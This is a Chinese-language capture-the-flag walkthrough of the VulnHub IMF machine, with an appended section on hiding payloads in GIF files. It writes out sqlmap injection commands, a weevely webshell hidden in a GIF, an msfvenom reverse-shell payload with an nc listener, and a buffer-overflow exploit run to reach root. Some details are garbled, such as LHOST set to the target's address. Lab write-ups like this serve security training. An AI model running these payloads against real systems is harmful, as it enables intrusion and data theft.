全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

本文分享了IMF Boot2Root靶机的攻破过程,包括文件上传、SQL注入、缓冲区溢出等技巧,最终获取root权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

靶机地址:https://www.vulnhub.com/entry/imf-1,162/

靶机难度:中级(CTF)

靶机发布日期:2016年10月30日

靶机描述:欢迎使用“ IMF”,这是我的第一个Boot2Root虚拟机。IMF是一个情报机构,您必须骇入所有标志并最终扎根。这些标志起步容易,随着您的前进而变得越来越难。每个标志都包含下一个标志的提示。我希望您喜欢这个虚拟机并学到一些东西。

目标:得到root权限&找到四个flag.txt

靶机wp作者:Jack渡鸦

用虚拟机开启今天的靶机

第一步扫出目标靶机的IP

命令:arp-scan -l

用nmap扫了一下,发现就开了一个80端口,访问靶机IP的80端口

把flag的值解码,得到一个值allthefiles

在页面按ctrl+f搜索等号,找到另外一个based64值,把三段拼成一个ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==,解码得flag2{aW1mYWRtaW5pc3RyYXRvcg==}

对flag2里面的值解码得imfadministrator,访问一下发现是目录路径,一个登录框

查看源代码

提示:我不能让SQL工作,所以我硬编码的密码。它仍然很安全。——罗杰

由于登录页面有报错机制,所以我们可以判断一下正确的用户名,根据刚刚的提示试试Roger是不是正确的用户名,发现报错

之前访问的页面看到过人名,试试rmichaels是不是正确的用户名

试了一下hydra爆破密码,虽然爆破出来了好几个但是全部都是失效的无法登录,然后我用burp抓包

得到flag3{Y29udGludWVUT2Ntcw==}和一个路径cms.php?pagename=home

解码flag3的内容得continueTOcms

访问才发现的路径

加就单引号报错,说明存在sql注入,所以我们直接上sqlmap

这里因为是基于登录之后的sql注入,所以我们需要加上cookie值,在有一道cve的漏洞我讲过这个点

命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -dbs

命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -D admin -tables

命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -D admin -T pages --dump

访问找到的路径images/whiteboard.jpg,发现是一个二维码,扫描之后得到flag4

解码flag4里面的based64值,得到uploadr942.php,访问该路径发现一个文件上传的地方

使用kali上自带的一句话木马生成工具weevely生成php的木马(参考链接kali下的webshell工具-Weevely_@小张小张的博客-优快云博客_kali webshell工具)

知识点:weevely是适用于php网站的webshell工具,使用weevely生成的木马免杀能力较强,而且使用加密连接,往往能轻松突破WAF拦截。

命令:weevely generate duya w.php

(duya是密码,一会连接要用,你可以任意取一个,w.php是文件名称)

接下来交你们做一个图片木马把w.php拖到主机上,随便找个目录放进去,再到网上找一个gif图保存到那个目录,gif图越小越好.

然后打开cmd

命令:copy 1.gif/b + w.php 88.gif

然后就生成了88.gif,这个gif图里就包含者w.php里面的木马

我们把生成的88.gif上传上去,显示上传成功

接下来我们打开源代码,获得gif文件上传到服务器的文件名称 a25ec328b432

然后找到上传路径,再使用weevely进行连接

成功得到低权限shell,然后得到flag5{YWdlbnRzZXJ2aWNlcw==}

把flag5的值解密之后得到提示agentservices

根据提示查找文件

命令: find / -name agent &>2/dev/unull

在/usr/local/bin目录发现提示的信息,agent文件

查看agent发现是ELF 32位执行文件

用cat命令查看access_codes,发现提示SYN 7482,8279,9467
这边提示端口试探,我们可以使用knock命令试探一下

命令:knock -v 192.168.0.154 7482 8279 9467

查一下端口发现服务器运行7788应该就是agent的端口了
但是前面nmap没有扫描到,端口试探应该是针对这个端口的

连接一下7788端口,发现需要输入正确的id

没关系,我们先将agent文件下载到本地然后再分析

命令:file_download /usr/local/bin/agent /root/桌面/ssss/agent

先赋予agent文件可读可写可执行的权限,然后我们使用ltrace跟踪agent在执行过程中调用库函数的情况,第一次使用这个函数可能需要下载一下

知识点 ltrace:跟踪进程调用库函数

ltrace 能够跟踪进程的库函数调用,它会显现出调用了哪个库函数

命令:ltrace ./agent

在fgets处随便输入内容,然后strncmp函数会将我们输入的内容和agent ID进行对比,这样就使得agent的真实ID的为48093572

再次执行agent并输入正确id得到三个选项

  1. 提取分
  2. 请求提取
  3. 提交报告

其中选项2和3可以让用户输入内容,这样看来应该是要通过缓冲区溢出7788端口的agent程序,然后用二进制修改exp为agent进程创建一个shell,首先我们为msfvenom有效负载创建一个shellcode

使用msfvenom创建一个shellcode

命令: msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.154 LPORT=4489 -b “\x00\x0a\x0” -f python -o /root/桌面/ssss/k.py

指令解释:

-p 选择payload(此次因为agent是32位,所以使用X86

LHOST 、LPORT 监测主机IP和端口

-b 在生成的程序中避免出现的值

\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)

\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)

\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)

-f 指定生成xxx格式

-o 输入路径和文件

小知识点:

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。. shellcode常常使用机器语言编写。. 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令,Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心

生成这段shellcode之后,我们需要编写一个缓冲区溢出漏洞sploit的exp,我这边是直接在github上找了大佬写好的exp

我们把agentsploit.py下载下来拉到kali中,然后把原代码中的这段shellcode替换成我们刚刚用msfvenom生成的shellcode就可以了

开启监听

命令: nc -lvnp 4489

使用exp和对应的shellcode对7788服务器进行缓冲区溢出攻击

命令:python2 agentsploit.py 192.168.0.154 7788

成功连接得到root权限,拿到flag6

flag6解码得GhostProtocols,意思是幽灵协议

今天这台靶机涉及的知识点非常全面

1.有文件上传漏洞,

2.基于cookie的sql注入漏洞,

3.sqlmap的使用,

4.用kali自带的木马生成工具weevely生成绕waf的一句话木马

5.使用绕waf的木马和普通gif结合生成gif图片木马,

6.使用knock敲开隐藏的服务器端口,

7.使用ltrace函数跟踪进程的库函数调用从而得到正确id,

8.用msfvenom生成一个针对性的shellcode然后对目标服务器端口进行缓冲区溢出攻击从而得到root权限

今天的这台靶机结束,希望你们能从中学到东西,如果觉得还不错可以点个赞让我知道。我是渡鸦,每天更新一台vulnhub靶机,关注我带你打完百台靶机项目实战,欢迎老爷们关注我一起提升技术,留言进入vulnhub渗透测试交流群一起进步。

### 创建基于GIF格式的图片马的技术方法及原理 #### 背景概述 GIF(Graphics Interchange Format)是一种广泛使用的图像文件格式,支持静态和动态图像。由于其简单性和兼容性,它被许平台所接受和支持。然而,在某些情况下,攻击者可能会利用GIF文件作为载体来隐藏恶意代码或数据,从而绕过安全检测机制。 #### 技术方法与现过程 以下是通过GIF格式创建潜在恶意图像的主要技术和步骤: 1. **隐写技术的应用** 隐写技术可以用来将敏感信息或恶意代码嵌入到看似正常的GIF文件中[^3]。这种方法通常涉及以下几个阶段: - 图像预处理:选择一个普通的GIF文件并分析其像素结构。 - 信息嵌入:将恶意负载编码成二进制形式,并将其嵌入到GIF文件的特定区域而不改变视觉效果。 - 输出与保存:生成新的GIF文件,其中包含了不可见的秘密消息或执行指令。 2. **滥用合法功能** 动态GIF具有帧序列特性,这使得它们能够在短时间内显示张画面。如果每帧都经过精心设计,则可以在不引起怀疑的情况下传递复杂的信息流。例如,可以通过设置短延迟时间让部分解析器错误解释这些帧的内容,进而触发异常行为或者加载外部资源链接指向钓鱼网站或其他危险地址[^1]。 3. **命令行作辅助构建复合型威胁对象** 使用Windows批处理脚本中的`copy /b`命令或将个独立片段组合起来形成终产物;同样地,在Linux环境下也可以借助Shell工具完成类似任务[^4]: ```bash cat header.gif payload.bin footer.gif > malicious.gif ``` 上述例子展示了如何把三个不同组成部分——头部定义正常外观、中间携带有效载荷以及结尾恢复常规结束标志位连接在一起构成完整的特洛伊木马式的图形作品。 #### 安全风险提示 需要注意的是,虽然理论上存在这样的可能性,但际上大数现代作系统及其应用程序都会采取措施防止此类情况发生。比如严格验证输入源合法性、限制未授权访问权限等等手段都可以有效地遏制该类攻击手法的际效用。 --- ### 示例代码演示简单的隐写术概念(仅作学习用途) 下面给出一段Python程序样例用于模拟基本层面上的数据藏匿动作: ```python from PIL import Image def encode_image(input_path, output_path, secret_message): img = Image.open(input_path).convert('RGB') binary_secret = ''.join(format(ord(char), '08b') for char in secret_message) width, height = img.size pixels = list(img.getdata()) new_pixels = [] index = 0 max_len = len(binary_secret) for pixel in pixels: r,g,b = pixel if(index<max_len): r_bit = (r & ~1) | int(binary_secret[index]) g_bit = (g & ~1) | int(binary_secret[(index+1)%max_len]) b_bit = (b & ~1) | int(binary_secret[(index+2)%max_len]) modified_pixel=(r_bit,g_bit,b_bit) new_pixels.append(modified_pixel) index +=3 else : new_pixels.append(pixel) encoded_img=Image.new("RGB",(width,height)) encoded_img.putdata(new_pixels) encoded_img.save(output_path,"PNG") encode_image("original.png","stego_output.png","HiddenDataExample") ``` 此函数接收原始图片路径、目标存储位置还有想要植入的文字串参数之后便会按照LSB方式修改颜色通道低比特值达到目的同时保持肉眼观察无明显差异的效果。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值